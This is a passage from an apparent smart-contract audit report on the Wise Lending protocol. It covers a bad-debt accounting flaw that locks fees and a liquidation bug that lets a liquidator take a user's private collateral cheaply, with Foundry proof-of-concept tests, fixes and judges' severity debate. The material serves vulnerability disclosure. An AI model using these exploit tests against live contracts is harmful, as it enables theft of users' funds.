The fees sent to the FeeManager are then able to be claimed by beneficials via the FeeManager::claimFeesBeneficial function or by incentive owners via the FeeManager::claimIncentives function (if incentives have been distributed to the owners):

FeeManager::claimIncentives

284:    function claimIncentives(
285:        address _feeToken
286:    )
287:        public
288:    {
289:        uint256 amount = gatheredIncentiveToken[msg.sender][_feeToken]; // @audit: mapping incremented in _distributeIncentives function
290:
291:        if (amount == 0) {
292:            revert NoIncentive();
293:        }

However, beneficials are only able to claim fees if there is currently no global bad debt in the system (totalBadDebtETH == 0).

FeeManager::claimFeesBeneficial

689:    function claimFeesBeneficial(
690:        address _feeToken,
691:        uint256 _amount
692:    )
693:        external
694:    {
695:        address caller = msg.sender;
696:
697:        if (totalBadDebtETH > 0) { // @audit: can't claim fees when there is bad debt
698:            revert ExistingBadDebt();
699:        }

Below I will explain how the bad debt accounting logic used during partial liquidations can result in a state where totalBadDebtETH is permanently greater than 0. When this occurs, beneficials will no longer be able to claim fees via the FeeManager::claimFeesBeneficial function and new incentives will no longer be distributed when fees are permissionlessly collected via the FeeManager::claimWiseFees function.

When a position is partially liquidated, the WiseSecurity::checkBadDebtLiquidation function is executed to check if the position has created bad debt, i.e. if the position’s overall borrow value is greater than the overall (unweighted) collateral value. If the post liquidation state of the position created bad debt, then the bad debt is recorded in a global and position-specific state:

WiseSecurity::checkBadDebtLiquidation

405:    function checkBadDebtLiquidation(
406:        uint256 _nftId
407:    )
408:        external
409:        onlyWiseLending
410:    {
411:        uint256 bareCollateral = overallETHCollateralsBare(
412:            _nftId
413:        );
414:
415:        uint256 totalBorrow = overallETHBorrowBare(
416:            _nftId
417:        );
418:
419:        if (totalBorrow < bareCollateral) { // @audit: LTV < 100%
420:            return;
421:        }
422:
423:        unchecked {
424:            uint256 diff = totalBorrow
425:                - bareCollateral;
426:
427:            FEE_MANAGER.increaseTotalBadDebtLiquidation( // @audit: global state, totalBadDebtETH += diff
428:                diff
429:            );
430:
431:            FEE_MANAGER.setBadDebtUserLiquidation( // @audit: position state, badDebtPosition[_nftId] = diff
432:                _nftId,
433:                diff
434:            );
435:        }
436:    }

FeeManagerHeper.sol

77:    function _setBadDebtPosition(
78:        uint256 _nftId,
79:        uint256 _amount
80:    )
81:        internal
82:    {
83:        badDebtPosition[_nftId] = _amount; // @audit: position bad debt set
84:    }
85:
86:    /**
87:     * @dev Internal increase function for global bad debt amount.
88:     */
89:    function _increaseTotalBadDebt(
90:        uint256 _amount
91:    )
92:        internal
93:    {
94:        totalBadDebtETH += _amount; // @audit: total bad debt incremented

As we can see above, the method by which the global and position’s state is updated is not consistent (total debt increases, but position’s debt is set to recent debt). Since liquidations can be partial, a position with bad debt can undergo multiple partial liquidations and each time the totalBadDebtETH will be incremented. However, the badDebtPosition for the position will only be updated with the most recent bad debt that was recorded during the last partial liquidation. Note that due to the condition on line 419 of WiseSecurity::checkBadDebtLiquidation, the badDebtPosition will be reset to 0 when totalBorrow == bareCollateral (LTV == 100%). However, in this case, any previously recorded bad debt for the position will not be deducted from the totalBadDebtETH. Lets consider two examples:

Scenario 1: Due to a market crash, a position’s LTV goes above 100%. The position gets partially liquidated, incrementing totalBadDebtETH by x (bad debt from 1st liquidation) and setting badDebtPosition[_nftId] to x. The position gets partially liquidated again, this time incrementing totalBadDebtETH by y (bad debt from 2nd liquidation) and setting badDebtPosition[_nftId] to y. The resulting state:

totalBadDebtETH == x + y
badDebtPosition[_nftId] == y

Scenario 2: Due to a market crash, a position’s LTV goes above 100%. The position gets partially liquidated, incrementing totalBadDebtETH by x and setting badDebtPosition[_nftId] to x. The position gets partially liquidated again, but this time the totalBorrow is equal to bareCollateral (LTV == 100%) and thus no bad debt is created. Due to the condition on line 419, totalBadDebtETH will be incremented by 0, but badDebtPosition[_nftId] will be reset to 0. The resulting state:

totalBadDebtETH == x
badDebtPosition[_nftId] == 0

Note: Scenario 1 is more likely to occur since Scenario 2 requires the additional partial liquidation to result in an LTV of exactly 100% for the position.

As we can see, partial liquidations can lead to totalBadDebtETH being artificially inflated with respect to the actual bad debt created by a position.

When bad debt is created, it is able to be paid back via the FeeManager::paybackBadDebtForToken or FeeManager::paybackBadDebtNoReward functions. However, the maximum amount of bad debt that can be deducted during these calls is capped at the bad debt recorded for the position specified (badDebtPosition[_nftId]). Therefore, the excess “fake” bad debt can not be deducted from totalBadDebtETH, resulting in totalBadDebtETH being permanently greater than 0.

Below is the logic that deducts the bad debt created by a position when it is paid off via one of the payback functions mentioned above:

FeeManagerHelper::_updateUserBadDebt

170:        unchecked {
171:            uint256 newBadDebt = currentBorrowETH
172:                - currentCollateralBareETH;
173:
174:            _setBadDebtPosition( // @audit: badDebtPosition[_nftId] = newBadDebt
175:                _nftId,
176:                newBadDebt
177:            );
178:
179:            newBadDebt > currentBadDebt // @audit: totalBadDebtETH updated with respect to change in badDebtPosition
180:                ? _increaseTotalBadDebt(newBadDebt - currentBadDebt)
181:                : _decreaseTotalBadDebt(currentBadDebt - newBadDebt);

The above code is invoked in the FeeManagerHelper::updatePositionCurrentBadDebt function, which is in turn invoked during both of the payback functions previously mentioned. You will notice that the above code properly takes into account the change in the bad debt of the position in question. I.e. if the badDebtPosition[_nftId] decreased (after being paid back), then the totalBadDebtETH will decrease as well. Therefore, the totalBadDebtETH can only be deducted by at most the current bad debt of a position. Returning to the previous example in Scenario 1, this means that totalBadDebtETH would remain equal to x, since only y amount of bad debt can be paid back.

Impact

In the event a position creates bad debt, partial liquidations of that position can lead to the global totalBadDebtETH state variable being artificially inflated. This additional “fake debt” can not be deducted from the global state when the actual bad debt of the position is paid back. Thus, the FeeManager::claimFeesBeneficial function will be permanently DOS-ed, preventing any beneficials from claiming fees in the FeeManager contract. Additionally, no new incentives are able to be distributed to incentive owners in this state. However, protocol fees can still be collected in this state via the permissionless FeeManager::claimWiseFees function, and since incentive owners and beneficials are the only entities able to claim these fees, this can lead to fees being permanently locked in the FeeManager contract.

Justification for Medium Severity

Although not directly affecting end users, the function of claiming beneficial fees and distributing new incentives will be permanently bricked. To make matters worse, anyone can continue to collect fees via the permissionless FeeManager::claimWiseFees function, which will essentially “burn” any pending or future fees by locking them in the FeeManager (assuming all previously gathered incentives have been claimed). This value is, therefore, leaked from the protocol every time additional fees are collected in this state.

Once this state is reached, any pending or future fees should ideally be left in the WiseLending contract, providing value back to the users instead of allowing that value to be unnecessarily “burned”. However, the permissionless nature of the FeeManager::claimWiseFees function allows bad actors to further grief the protocol during this state by continuing to collect fees.

Note: Once this state is reached, and WiseLending is made aware of the implications, all fees (for all pools) can be set to 0 by the master address. This would ensure that no future fees are sent to the FeeManager. However, this does not stop pending fees from being collected. Additionally, a true decentralized system (such as a DAO) would likely have some latency between proposing such a change (decreasing fee value) and executing that change. Therefore, any fees distributed during that period can be collected.

Proof of Concept

Place the following test in the contracts/ directory and run with forge test --match-path contracts/BadDebtTest.t.sol:

// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

import "./WiseLendingBaseDeployment.t.sol";

contract BadDebtTest is BaseDeploymentTest {
    address borrower = address(0x01010101);
    address lender = address(0x02020202);

    uint256 depositAmountETH = 10e18; // 10 ether
    uint256 depositAmountToken = 10; // 10 ether
    uint256 borrowAmount = 5e18; // 5 ether

    uint256 nftIdLiquidator; // nftId of lender
    uint256 nftIdLiquidatee; // nftId of borrower

    uint256 debtShares;

    function _setupIndividualTest() internal override {
        _deployNewWiseLending(false);

        // set token value for simple calculations
        MOCK_CHAINLINK_2.setValue(1 ether); // 1 token == 1 ETH
        assertEq(MOCK_CHAINLINK_2.latestAnswer(), MOCK_CHAINLINK_ETH_ETH.latestAnswer());
        vm.stopPrank();
        
        // fund lender and borrower
        vm.deal(lender, depositAmountETH);
        deal(address(MOCK_WETH), lender, depositAmountETH);
        deal(address(MOCK_ERC20_2), borrower, depositAmountToken * 2);
    }


    function testScenario1() public {
        // --- scenario is set up --- //
        _setUpScenario();

        // --- shortfall event/crash creates bad debt, position partially liquidated logging bad debt --- //
        _marketCrashCreatesBadDebt();

        // --- borrower gets partially liquidated again --- //
        vm.prank(lender);

        LENDING_INSTANCE.liquidatePartiallyFromTokens(
            nftIdLiquidatee,
            nftIdLiquidator, 
            address(MOCK_WETH),
            address(MOCK_ERC20_2),
            debtShares * 2e16 / 1e18
        );

        // --- global bad det increases again, but user bad debt is set to current bad debt created --- // 
        uint256 newTotalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH();
        uint256 newUserBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee);
        
        assertGt(newUserBadDebt, 0); // userBadDebt reset to new bad debt, newUserBadDebt == current_bad_debt_created
        assertGt(newTotalBadDebt, newUserBadDebt); // global bad debt incremented again
        // newTotalBadDebt = old_global_bad_debt + current_bad_debt_created
        
        // --- user bad debt is paid off, but global bad is only partially paid off (remainder is fake debt) --- // 
        _tryToPayBackGlobalDebt();

        // --- protocol fees can no longer be claimed since totalBadDebtETH will remain > 0 --- // 
        vm.expectRevert(bytes4(keccak256("ExistingBadDebt()")));
        FEE_MANAGER_INSTANCE.claimFeesBeneficial(address(0), 0);
    }

    function testScenario2() public {
        // --- scenario is set up --- // 
        _setUpScenario();

        // --- shortfall event/crash creates bad debt, position partially liquidated logging bad debt --- //
        _marketCrashCreatesBadDebt();
        
        // --- Position manipulated so second partial liquidation results in totalBorrow == bareCollateral --- //
        // borrower adds collateral
        vm.prank(borrower);

        LENDING_INSTANCE.solelyDeposit(
            nftIdLiquidatee, 
            address(MOCK_ERC20_2), 
            6
        );

        // borrower gets partially liquidated again
        vm.prank(lender);

        LENDING_INSTANCE.liquidatePartiallyFromTokens(
            nftIdLiquidatee,
            nftIdLiquidator, 
            address(MOCK_WETH),
            address(MOCK_ERC20_2),
            debtShares * 2e16 / 1e18
        );
        
        uint256 collateral = SECURITY_INSTANCE.overallETHCollateralsBare(nftIdLiquidatee);
        uint256 debt = SECURITY_INSTANCE.overallETHBorrowBare(nftIdLiquidatee);
        assertEq(collateral, debt); // LTV == 100% exactly

        // --- global bad debt is unchanged, while user bad debt is reset to 0 --- // 
        uint256 newTotalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH();
        uint256 newUserBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee);

        assertEq(newUserBadDebt, 0); // user bad debt reset to 0
        assertGt(newTotalBadDebt, 0); // global bad debt stays the same (fake debt)

        // --- attempts to pay back fake global debt result in a noop, totalBadDebtETH still > 0 --- // 
        uint256 paybackShares = _tryToPayBackGlobalDebt();
        
        assertEq(LENDING_INSTANCE.userBorrowShares(nftIdLiquidatee, address(MOCK_WETH)), paybackShares); // no shares were paid back

        // --- protocol fees can no longer be claimed since totalBadDebtETH will remain > 0 --- //
        vm.expectRevert(bytes4(keccak256("ExistingBadDebt()")));
        FEE_MANAGER_INSTANCE.claimFeesBeneficial(address(0), 0);
    }

    function _setUpScenario() internal {
        // lender supplies ETH
        vm.startPrank(lender);

        nftIdLiquidator = POSITION_NFTS_INSTANCE.mintPosition();

        LENDING_INSTANCE.depositExactAmountETH{value: depositAmountETH}(nftIdLiquidator);

        vm.stopPrank();

        // borrower supplies collateral token and borrows ETH
        vm.startPrank(borrower);

        MOCK_ERC20_2.approve(address(LENDING_INSTANCE), depositAmountToken * 2);

        nftIdLiquidatee = POSITION_NFTS_INSTANCE.mintPosition();
        
        LENDING_INSTANCE.solelyDeposit( // supply collateral
            nftIdLiquidatee, 
            address(MOCK_ERC20_2), 
            depositAmountToken
        );

        debtShares = LENDING_INSTANCE.borrowExactAmountETH(nftIdLiquidatee, borrowAmount); // borrow ETH

        vm.stopPrank();
    }

    function _marketCrashCreatesBadDebt() internal {
        // shortfall event/crash occurs
        vm.prank(MOCK_DEPLOYER);

        MOCK_CHAINLINK_2.setValue(0.3 ether);

        // borrower gets partially liquidated
        vm.startPrank(lender);

        MOCK_WETH.approve(address(LENDING_INSTANCE), depositAmountETH);

        LENDING_INSTANCE.liquidatePartiallyFromTokens(
            nftIdLiquidatee,
            nftIdLiquidator, 
            address(MOCK_WETH),
            address(MOCK_ERC20_2),
            debtShares * 2e16 / 1e18 + 1 
        );

        vm.stopPrank();

        // global and user bad debt is increased
        uint256 totalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH();
        uint256 userBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee);

        assertGt(totalBadDebt, 0); 
        assertGt(userBadDebt, 0);
        assertEq(totalBadDebt, userBadDebt); // user bad debt and global bad debt are the same
    }

    function _tryToPayBackGlobalDebt() internal returns (uint256 paybackShares) {
        // lender attempts to pay back global debt
        paybackShares = LENDING_INSTANCE.userBorrowShares(nftIdLiquidatee, address(MOCK_WETH));
        uint256 paybackAmount = LENDING_INSTANCE.paybackAmount(address(MOCK_WETH), paybackShares);

        vm.startPrank(lender);

        MOCK_WETH.approve(address(FEE_MANAGER_INSTANCE), paybackAmount);
        
        FEE_MANAGER_INSTANCE.paybackBadDebtNoReward(
            nftIdLiquidatee, 
            address(MOCK_WETH), 
            paybackShares
        );

        vm.stopPrank();

        // global bad debt and user bad debt updated
        uint256 finalTotalBadDebt = FEE_MANAGER_INSTANCE.totalBadDebtETH();
        uint256 finalUserBadDebt = FEE_MANAGER_INSTANCE.badDebtPosition(nftIdLiquidatee);

        assertEq(finalUserBadDebt, 0); // user has no more bad debt, all paid off
        assertGt(finalTotalBadDebt, 0); // protocol still thinks there is bad debt
    }
}

Recommended Mitigation Steps

I would recommend updating totalBadDebtETH with the difference of the previous and new bad debt of a position in the WiseSecurity::checkBadDebtLiquidation function, similar to how it is done in the FeeManagerHelper::_updateUserBadDebt internal function.

Example implementation:

diff --git a/./WiseSecurity/WiseSecurity.sol b/./WiseSecurity/WiseSecurity.sol
index d2cfb24..75a34e8 100644
--- a/./WiseSecurity/WiseSecurity.sol
+++ b/./WiseSecurity/WiseSecurity.sol
@@ -424,14 +424,22 @@ contract WiseSecurity is WiseSecurityHelper, ApprovalHelper {
             uint256 diff = totalBorrow
                 - bareCollateral;

-            FEE_MANAGER.increaseTotalBadDebtLiquidation(
-                diff
-            );
+            uint256 currentBadDebt = FEE_MANAGER.badDebtPosition(_nftId);

             FEE_MANAGER.setBadDebtUserLiquidation(
                 _nftId,
                 diff
             );
+
+            if (diff > currentBadDebt) {
+                FEE_MANAGER.increaseTotalBadDebtLiquidation(
+                    diff - currentBadDebt
+                );
+            } else {
+                FEE_MANAGER.decreaseTotalBadDebtLiquidation(
+                    currentBadDebt - diff
+                );
+            }
         }
     }

Trust (judge) increased severity to High

vonMangoldt (Wise Lending) commented via duplicate issue #243:

This doesn’t lead to loss of user funds though. Hence, it should be downgraded since one could just migrate and redeploy after discovering that. Otherwise good find.

Foon256 (Wise Lending) commented via duplicate issue #243:

Would agree with that! This is a good insight, but users’ funds are never at risk. This is related to the feeManager and the fees taken from the protocol. Therefore, a Medium issue.

Alex the Entreprenerd (Appellate Court judge) commented:

Summary of the issue

When a market accrues bad debt, which can be inflated due to an accounting error, fees and incentives will no longer be distributed. Note: The discussion had quite a bit of back and forth, for this reason the whole conversation is pasted below:

Discussion

Alex the Entreprenerd (Appellate Court lead judge) commented: This seems to be tied to a specific interpretation of this discussion we’ve had around loss of yield as high.

hickuphh3 (judge 2) commented: Fees would be considered as matured yield? Given that it extends beyond the protocol to beneficials and incentive owners, I’m leaning towards a high more than a medium.

Alex the Entreprenerd (Appellate Court lead judge) commented: Yes it would be considered matured. I don’t have an opinion on this report yet and will follow up later today with my notes.

Not fully made up my mind but here’s a couple of points:

For Medium: Loss of Yield -> There is no loss of principal so Med seems fine.

For High: The contract is not losing yield in some case, the contract is losing 100% of all yield. The contract is no longer serving it’s purpose.

External Conditions: Bad debt must be formed. Bad debt handling is part of the system design, so assuming this can happen is fair, and starting from a scenario in which this can happen is also fair.

That said, in reality, this may never happen.

My main point for downgrading is that while the contract is losing all of the yield, nothing beside that is impacted, not fully sure on this one.

LSDan (judge 3) commented: I’m aligned with high on this one. Even though the conditions that lead to it are rare and there are arguably external conditions in some scenarios, there is a direct loss of funds and the functional loss of a contract’s purpose. Once this situation occurs, there is no clean way back from it.

Alex the Entreprenerd (Appellate Court lead judge) commented: I think this is the issue where we will have some contention. I think the Sponsor interpretation is important to keep in mind as it’s pretty rational. I would like to think about it a bit more.

Alex the Entreprenerd (Appellate Court lead judge) commented: I’m leaning towards Med on this report, I think the Sponsors POV is valid.

There is an accounting error, it would not cause permanent loss of funds. It would be mitigated by deprecating the market and creating a new one.

My main argument is that if this was live, this would trigger a re-deploy but it would not trigger any white hat rescue operation, as funds would be safe.

hickuphh3 (judge 2) commented: #74: When we stick to the c4a rules to which we agreed, all the loss of fees are no user funds and therefore, should be treated differently.

The core argument for Medium severity is that fees are a secondary concern.

This goes against the supreme court decision where fees shouldn’t be treated as 2nd class citizens here.

Loss of fees should be regarded as an impact similar to any other loss of capital. Loss of real amounts depends on specific conditions and likelihood considerations.

Likelihood: Requirement of bad debt formation. Once there is, funds (fees) are permanently bricked.

There is an accounting error, it would not cause permanent loss of funds; it would be mitigated by deprecating the market and creating a new one.

The funds you are referring to are user funds? Separately, I don’t see how it would mitigate the bricking once it happens.

Alex the Entreprenerd (Appellate Court lead judge) commented: I don’t think that the ruling means that loss of fees should be treated as high at all times.

The main argument is that the broken accounting doesn’t create a state that is not recoverable:

• Some fees are lost.
• User deprecates market (raises interests or pauses).
• Deployes new Market.
• System resumes functioning as intended.

My main argument is that this would not cause a War Room, it would cause a deprecation that the system can handle.

hickuphh3 (judge 2) commented: In what cases/scenarios would loss of fees be high then? Most, if not all, won’t have a war room for protocol fees.

The reason I would consider to justify downgrading is the low likelihood of the external requirement of bad debt formation + >= 2 partial liquidations.

I would dissent and argue for high severity.

• Permanent loss of unclaimed fees.
• Blast radius: affects not just the protocol, but incentive owners and beneficiaries.

Had the fees gone only to the protocol, I’d lean a bit more towards Medium.

Is WiseLending immutable in a poolToken instance?

What contracts would have to be re-deployed?

Alex the Entreprenerd (Appellate Court lead judge) commented: Liquidation premium being denied could be a valid High loss of yield, loss of gas for refunds when the system entire goal is that (e.g. keepers, voting on Nouns).

Alex the Entreprenerd’s (Appellate Court lead judge) Input

The finding shows how in the specific case of liquidations with bad debt, a market will stop accounting for fees.

2 aggravating circumstances seem to be:

• Inability to pause and replace each market.
• The Math for bad debt is also wrong, leading to the inability to fix the bug.

This would still cause a loss of fees for a certain period of time, as the admin would eventually be able to set the market fees to either a state that would cause users to stop using it or 0 as a means to stop the loss.

I think that the accounting mistake is notable, and I understand the reasoning for raising severity.

That said, because we have to judge by impact of the finding, I believe Medium Severity to be most appropriate.

hickuphh3’s (judge 2) Input

I maintain my stance for High severity for the reasons I stated above:

• Permanent loss of unclaimed fees.
• Impact on protocol ecosystem: beneficiaries and incentive owners.

LSDan’s (judge 3) Input

I’m still of the opinion that High is most appropriate here. The impact is significant enough that raising the severity beyond medium makes sense.

Deliberation

The severity is kept at High Severity, with a non-unanimous verdict.

Additional Context by the Lead Judge

I recommend monitoring how this decision influences future decisions on severities, especially when it comes to a percentage loss of yield, an attacker having the button to cause a loss of yield, against this instance which is the permanent inability for the contract to record a gain of yield.

Wise Lending commented:

Mitigated here.

[H-04] Liquidators can pay less than required to completely liquidate the private collateral balance of an uncollateralized position

Submitted by nonseodion

When a user deposits in the WiseLending contract he can make a private deposit (pure) which allows his deposits not to be used as collateral or a normal deposit. He can also set his position to be collateralized or uncollateralized. If a position is collateralized, the normal deposit can be used as collateral and vice-versa.

When a user uncollateralizes his position, he can only use his private deposit as collateral. If the position becomes liquidatable, it means the private deposit can no longer cover the amount borrowed. In the call to getFullCollateralETH() below only the private collateral is returned immediately as full collateral if it is uncollateralized.

WiseSecurityHelper.sol#L198-L208

        ethCollateral = _getTokensInEth(
            _poolToken,
            WISE_LENDING.getPureCollateralAmount(
                _nftId,
                _poolToken
            )
        );

  ❌     if (_isUncollateralized(_nftId, _poolToken) == true) {
            return ethCollateral;
        }

In a liquidation, the amount to be liquidated is expressed as a percentage of the full collateral. In an uncollateralized position, the full collateral is the private collateral. The calculateWishPercentage() call calculates this percentage.

WiseSecurityHelper.sol#L760-L786

    function calculateWishPercentage( uint256 _nftId, address _receiveToken, uint256 _paybackETH, uint256 _maxFeeETH, uint256 _baseRewardLiquidation
    ) external view returns (uint256)
    {
        uint256 feeETH = _checkMaxFee(
            _paybackETH,
            _baseRewardLiquidation,
            _maxFeeETH
        );

        uint256 numerator = (feeETH + _paybackETH)
            * PRECISION_FACTOR_E18;

        uint256 denominator = getFullCollateralETH(
            _nftId,
            _receiveToken
        );

        return numerator / denominator + 1;
    }

The amount to be liquidated, i.e. the amount the liquidator receives, is calculated in _calculateReceiveAmount() using the percentage from calculateWishPercentage() and applied to the position’s pure collateral first in line 557 below.

It calculates the percentage of the user’s normal balance to be reduced in line 569 without checking if it is uncollateralized. If the amount it gets, i.e. potentialPureExtraCashout, is greater than zero and less than the current private balance (pureCollateral) in line 576, it is reduced from the private balance.

WiseCore.sol#L564-L586

556:         if (pureCollateralAmount[_nftId][_receiveTokens] > 0) {
557:             receiveAmount = _withdrawPureCollateralLiquidation(
558:                 _nftId,
559:                 _receiveTokens,
560:                 _removePercentage
561:             );
562:         }
563: 
564:         uint256 potentialPureExtraCashout;
565:         uint256 userShares = userLendingData[_nftId][_receiveTokens].shares;
566:         uint256 pureCollateral = pureCollateralAmount[_nftId][_receiveTokens];
567: 
568:         if (pureCollateral > 0 && userShares > 0) {
569:             potentialPureExtraCashout = _calculatePotentialPureExtraCashout(
570:                 userShares,
571:                 _receiveTokens,
572:                 _removePercentage
573:             );
574:         }
575: 
576:         if (potentialPureExtraCashout > 0 && potentialPureExtraCashout <= pureCollateral) {
577:             _decreasePositionMappingValue(
578:                 pureCollateralAmount,
579:                 _nftId,
580:                 _receiveTokens,
581:                 potentialPureExtraCashout
582:             );
583: 
584:             _decreaseTotalBareToken(
585:                 _receiveTokens,
586:                 potentialPureExtraCashout
587:             );
588: 
589:             return receiveAmount + potentialPureExtraCashout;
590:         }
591: 

The issue is the implementation applies the percentage meant for only the private collateral to both the normal and private collateral. It should reduce only the private collateral, but may also reduce the public collateral and send it to the liquidator.

Here’s how a malicious liquidator can profit and steal user funds:

1. User deposits $100 worth of WETH in his private balance and $100 worth of WETH in his normal balance.
2. He uncollateralizes his position and borrows $70 worth of WBTC.
3. If the price of WBTC he borrowed goes up to $100, he can be liquidated.
4. Assuming no liquidation fees, the liquidator pays $50 WBTC to liquidate $50 WETH (50%) from the user’s private balance leaving $50.
5. The 50% is applied to the user’s public balance giving $50. This is also deducted from the private balance leaving $0 in the private balance.
6. The liquidator ends up paying only $50 to earn $50 extra.

A liquidator can set it up to drain the private collateral balance and only pay for a portion of the liquidation. The user ends up losing funds and the protocol’s bad debt increases.

Impact

This vulnerability allows the liquidator to steal the user’s balance and pay for only a portion of the shares. It has these effects:

1. The user loses funds.
2. The amount of bad debt in the protocol is increased.

Proof of Concept

The testStealPureBalance() test below shows a liquidator earning more than the amount he paid for liquidation. The test can be put in any test file in the contracts directory and ran there.

pragma solidity =0.8.24;

import "forge-std/Test.sol";

import {WiseLending, PoolManager} from "./WiseLending.sol";
import {TesterWiseOracleHub} from "./WiseOracleHub/TesterWiseOracleHub.sol";
import {PositionNFTs} from "./PositionNFTs.sol";
import {WiseSecurity} from "./WiseSecurity/WiseSecurity.sol";
import {AaveHub} from "./WrapperHub/AaveHub.sol";
import {Token} from "./Token.sol";
import {TesterChainlink} from "./TesterChainlink.sol";

import {IPriceFeed} from "./InterfaceHub/IPriceFeed.sol";
import {IERC20} from "./InterfaceHub/IERC20.sol";
import {IWiseLending} from "./InterfaceHub/IWiseLending.sol";

import {ContractLibrary} from "./PowerFarms/PendlePowerFarmController/ContractLibrary.sol";

contract WiseLendingTest is Test, ContractLibrary {

  WiseLending wiseLending;
  TesterWiseOracleHub oracleHub;
  PositionNFTs positionNFTs;
  WiseSecurity wiseSecurity;
  AaveHub aaveHub;
  TesterChainlink wbtcOracle;

  // users/admin
  address alice = address(1);
  address bob = address(2);
  address charles = address(3);
  address lendingMaster;

  //tokens
  address wbtc;

  function setUp() public {
    lendingMaster = address(11);
    vm.startPrank(lendingMaster);

    address ETH_PRICE_FEED = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
    address UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
    address AAVE_ADDRESS = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
    
    // deploy oracle hub
    oracleHub = new TesterWiseOracleHub(
      WETH,
      ETH_PRICE_FEED,
      UNISWAP_V3_FACTORY
    );
    oracleHub.setHeartBeat(
      oracleHub.ETH_USD_PLACEHOLDER(), // set USD/ETH feed heartbeat
      1
    );

    // deploy position NFT
    positionNFTs = new PositionNFTs(
        "PositionsNFTs",
        "POSNFTS",
        "app.wisetoken.net/json-data/nft-data/"
    );

    // deploy Wiselending contract
    wiseLending = new WiseLending(
      lendingMaster,
      address(oracleHub),
      address(positionNFTs)
    );

    // deploy AaveHub
    aaveHub = new AaveHub(
      lendingMaster,
      AAVE_ADDRESS,
      address(wiseLending)
    );
    
    // deploy Wisesecurity contract
    wiseSecurity = new WiseSecurity(
      lendingMaster,
      address(wiseLending),
      address(aaveHub)
    );

    wiseLending.setSecurity(address(wiseSecurity));
    // set labels
    vm.label(address(wiseLending), "WiseLending");
    vm.label(address(positionNFTs), "PositionNFTs");
    vm.label(address(oracleHub), "OracleHub");
    vm.label(address(wiseSecurity), "WiseSecurity");
    vm.label(alice, "Alice");
    vm.label(bob, "Bob");
    vm.label(charles, "Charles");
    vm.label(wbtc, "WBTC");
    vm.label(WETH, "WETH");

    // create tokens, create TestChainlink oracle, add to oracleHub
    (wbtc, wbtcOracle) = _setupToken(18, 17 ether);
    oracleHub.setHeartBeat(wbtc, 1);
    wbtcOracle.setRoundData(0, block.timestamp -1);
    // setup WETH on oracle hub
    oracleHub.setHeartBeat(WETH, 60 minutes);
    oracleHub.addOracle(WETH, IPriceFeed(ETH_PRICE_FEED), new address[](0));
    
    // create pools
    wiseLending.createPool(
      PoolManager.CreatePool({
        allowBorrow: true,
        poolToken: wbtc, // btc
        poolMulFactor: 17500000000000000,
        poolCollFactor: 805000000000000000,
        maxDepositAmount: 1800000000000000000000000
      })
    );

    wiseLending.createPool(
      PoolManager.CreatePool({
        allowBorrow: true,
        poolToken: WETH, // btc
        poolMulFactor: 17500000000000000,
        poolCollFactor: 805000000000000000,
        maxDepositAmount: 1800000000000000000000000
      })
    );
  }

  function _setupToken(uint decimals, uint value) internal returns (address token, TesterChainlink oracle) {
    Token _token = new Token(uint8(decimals), alice); // deploy token
    TesterChainlink _oracle = new TesterChainlink( // deploy oracle
      value, 18
    ); 
    oracleHub.addOracle( // add oracle to oracle hub
      address(_token), 
      IPriceFeed(address(_oracle)), 
      new address[](0)
    );

    return (address(_token), _oracle);
  }

  function testStealPureBalance() public {
    // deposit WETH in private and public balances for Alice's NFT
    vm.startPrank(alice);
    deal(WETH, alice, 100 ether);
    IERC20(WETH).approve(address(wiseLending), 100 ether);
    uint aliceNft = positionNFTs.reservePosition();
    wiseLending.depositExactAmount(aliceNft, WETH, 50 ether);
    wiseLending.solelyDeposit(aliceNft, WETH, 50 ether);
    
    // deposit for Bob's NFT to provide WBTC liquidity
    vm.startPrank(bob);
    deal(wbtc, bob, 100 ether);
    IERC20(wbtc).approve(address(wiseLending), 100 ether);
    wiseLending.depositExactAmountMint(wbtc, 100 ether);

    // Uncollateralize Alice's NFT position to allow only private(pure)
    // balance to be used as collateral
    vm.startPrank(alice);
    wiseLending.unCollateralizeDeposit(aliceNft, WETH);
    (, , uint lendCollFactor) = wiseLending.lendingPoolData(WETH);
    uint usableCollateral = 50 ether *  lendCollFactor * 95e16 / 1e36 ;
    
    // alice borrows
    uint borrowable = oracleHub.getTokensFromETH(wbtc, usableCollateral) - 1000;
    uint paybackShares = wiseLending.borrowExactAmount(aliceNft, wbtc, borrowable);

    vm.startPrank(lendingMaster);
    // increase the price of WBTC to make Alice's position liquidatable
    wbtcOracle.setValue(20 ether); 
    
    // let charles get WBTC to liquidate Alice
    vm.startPrank(charles);
    uint charlesNft  = positionNFTs.reservePosition();
    uint paybackAmount = wiseLending.paybackAmount(wbtc, paybackShares);
    deal(wbtc, charles, paybackAmount);
    IERC20(wbtc).approve(address(wiseLending), paybackAmount);

    uint wbtcBalanceBefore = IERC20(wbtc).balanceOf(charles);
    uint wethBalanceBefore = IERC20(WETH).balanceOf(charles);
    // charles liquidates 40% of the shares to ensure he can reduce the pure collateral balance twice
    wiseLending.liquidatePartiallyFromTokens(aliceNft, charlesNft, wbtc, WETH, paybackShares * 40e16/1e18);

    uint wbtcBalanceChange = wbtcBalanceBefore - IERC20(wbtc).balanceOf(charles);
    uint wethBalanceChange = IERC20(WETH).balanceOf(charles) - wethBalanceBefore;
    
    // The amount of WETH Charles got is 2x the amount of WBTC he paid plus fees (10% of amount paid)
    // WBTC paid plus fees = 110% * wbtcBalanceChange
    // x2WBTCChangePlusFees = 2 * WBTC paid plus fees
    uint x2WBTCChangePlusFees = oracleHub.getTokensInETH(wbtc, 11e17 * wbtcBalanceChange / 1e18) * 2;
    
    assertApproxEqAbs(wethBalanceChange, x2WBTCChangePlusFees, 200);
  }
}

Recommended Mitigation Steps

To ensure the code does not also consider the normal balance at all we can check if the position is uncollateralized early. Currently, this check is done but is done too late in the _calculateReceiveAmount() function. We can fix it by moving the check.

WiseCore.sol#L560-L594

 
+        if (userLendingData[_nftId][_receiveTokens].unCollateralized == true) {
+            return receiveAmount;
+        }
+
         uint256 potentialPureExtraCashout;
